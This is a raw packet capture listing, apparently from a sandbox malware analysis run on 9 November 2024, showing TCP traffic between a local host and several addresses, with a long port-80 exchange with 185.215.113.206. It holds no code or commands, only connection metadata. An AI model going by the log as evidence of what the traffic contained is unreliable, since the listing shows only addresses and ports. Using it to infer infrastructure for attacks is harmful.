Nov 9, 2024 22:09:47.468837023 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.468863964 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.469058990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.469075918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.469126940 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.475332022 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.487816095 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.487828970 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.503418922 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.504970074 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.504971027 CET	443	49897	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.505038977 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.505048037 CET	443	49897	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.505106926 CET	49899	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.505187988 CET	49897	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.506182909 CET	49897	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.506201982 CET	443	49897	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.507137060 CET	49899	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.507144928 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.507158995 CET	49899	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.507164955 CET	443	49899	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.507976055 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.510665894 CET	49909	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.510700941 CET	443	49909	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.510803938 CET	49909	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.512001991 CET	49909	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.512012959 CET	443	49909	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.513189077 CET	49910	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.513233900 CET	443	49910	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.513325930 CET	49910	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.513401031 CET	49910	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.513417006 CET	443	49910	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.516539097 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.517077923 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.517141104 CET	49898	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.517199039 CET	49898	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.517215967 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.517241955 CET	49898	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.517250061 CET	443	49898	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.527745962 CET	49911	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.527771950 CET	443	49911	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.527828932 CET	49911	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.528250933 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.528898954 CET	49911	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.528911114 CET	443	49911	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.529629946 CET	49912	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:47.529685020 CET	443	49912	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.529741049 CET	49912	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:47.529939890 CET	49912	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:47.529956102 CET	443	49912	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:47.533164978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.534666061 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.541079044 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.541109085 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.541181087 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.541205883 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.541234970 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.541865110 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.541932106 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.543839931 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.545254946 CET	49905	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.545279980 CET	443	49905	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.545840025 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.545861959 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.545922041 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.545942068 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.546076059 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.546077967 CET	49902	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.546092987 CET	443	49902	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.546125889 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.546773911 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.546801090 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.546808958 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.546844959 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.546857119 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.546869040 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.546871901 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.546902895 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.546937943 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.555586100 CET	49903	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.555599928 CET	443	49903	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.557305098 CET	49900	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.557331085 CET	443	49900	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.562417030 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.562433958 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.562618017 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.562705040 CET	443	49895	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.562767029 CET	49895	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.571297884 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.571331978 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.571500063 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.571706057 CET	49913	443	192.168.2.5	20.99.185.48
Nov 9, 2024 22:09:47.571717024 CET	443	49913	20.99.185.48	192.168.2.5
Nov 9, 2024 22:09:47.582122087 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.582194090 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.582619905 CET	49896	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.584161043 CET	49896	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.584187031 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.584197044 CET	49896	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.584203005 CET	443	49896	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.586869001 CET	49914	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.586903095 CET	443	49914	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.586963892 CET	49914	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.587351084 CET	49914	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.587366104 CET	443	49914	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.623204947 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.623229980 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.623249054 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.623290062 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.623323917 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.623363972 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.688901901 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.688924074 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.688931942 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.688952923 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.688965082 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.688977957 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.688985109 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.689002037 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.689022064 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.689032078 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.689050913 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.689392090 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.689435959 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.689441919 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.689481974 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.689826012 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.696343899 CET	49904	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.696358919 CET	443	49904	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.738248110 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.738280058 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.738337040 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.738348007 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.738364935 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.738395929 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.746998072 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.747549057 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.747567892 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.747946978 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.748435020 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.748497963 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.748672962 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.785717964 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.785804987 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.785811901 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.785868883 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.786077023 CET	49901	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:47.786093950 CET	443	49901	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:47.791331053 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.808151960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.808218956 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.808319092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.808331013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.808362007 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.808387041 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.808453083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.808465004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.808476925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.808494091 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.808495998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.808520079 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.808562040 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.809007883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809021950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809032917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809045076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809063911 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.809102058 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.809259892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809273005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809283972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809297085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809307098 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809309006 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.809345007 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.809735060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809746981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809797049 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.809858084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.809890985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.810076952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.810086966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.810098886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.810110092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.810123920 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.810158014 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.810278893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.810291052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.810301065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.810313940 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.810322046 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.810336113 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.810362101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.916472912 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.917119980 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.917182922 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.922589064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.922641039 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.922734022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.922745943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.922758102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.922791004 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.922867060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.922921896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.922934055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.922945023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.922971964 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923002958 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923269033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923280954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923290968 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923302889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923327923 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923363924 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923363924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923377037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923388004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923401117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923410892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923413992 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923423052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923434019 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923437119 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923455954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923486948 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923701048 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.923716068 CET	443	49906	3.168.2.47	192.168.2.5
Nov 9, 2024 22:09:47.923738003 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.923764944 CET	49906	443	192.168.2.5	3.168.2.47
Nov 9, 2024 22:09:47.923902988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923914909 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923927069 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923938990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923949957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923949957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.923964977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.923990011 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.924007893 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.924640894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924653053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924663067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924673080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924685001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924696922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924699068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.924707890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924719095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924730062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924742937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924758911 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.924763918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.924784899 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.924804926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.925297022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.925343037 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.925477028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.925487995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.925497055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.925508022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.925519943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:47.925525904 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.925569057 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:47.950665951 CET	443	49907	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.965548038 CET	49907	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.965564966 CET	443	49907	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.966134071 CET	49907	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:47.966140985 CET	443	49907	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:47.970216990 CET	49915	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:47.970242023 CET	443	49915	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:47.970329046 CET	49915	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:47.970988035 CET	49916	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:47.971023083 CET	443	49916	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:47.971103907 CET	49916	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:47.972899914 CET	49916	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:47.972913027 CET	443	49916	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:47.973246098 CET	49915	443	192.168.2.5	23.198.7.167
Nov 9, 2024 22:09:47.973263979 CET	443	49915	23.198.7.167	192.168.2.5
Nov 9, 2024 22:09:47.975027084 CET	49917	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:47.975049973 CET	443	49917	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:47.975107908 CET	49917	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:47.977132082 CET	49918	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:47.977144957 CET	443	49918	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:47.977221012 CET	49918	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:47.977457047 CET	49917	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:47.977471113 CET	443	49917	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:47.999679089 CET	49918	443	192.168.2.5	204.79.197.219
Nov 9, 2024 22:09:47.999710083 CET	443	49918	204.79.197.219	192.168.2.5
Nov 9, 2024 22:09:48.039009094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039055109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039069891 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039073944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039099932 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039120913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039339066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039350033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039361000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039385080 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039407015 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039459944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039470911 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039482117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039493084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039514065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039557934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039720058 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039731979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039762974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039774895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039783955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039788008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.039803982 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.039844036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.040172100 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040183067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040194988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040205956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040232897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.040266991 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.040498018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040508986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040518999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040529966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040540934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040550947 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.040574074 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.040585995 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.040749073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040760994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040796995 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.040930986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040942907 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040952921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040963888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040967941 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.040976048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.040987015 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.041004896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.041028976 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:48.041322947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:48.041335106 CET	80	49813	185.215.113.206	192.168.2.5
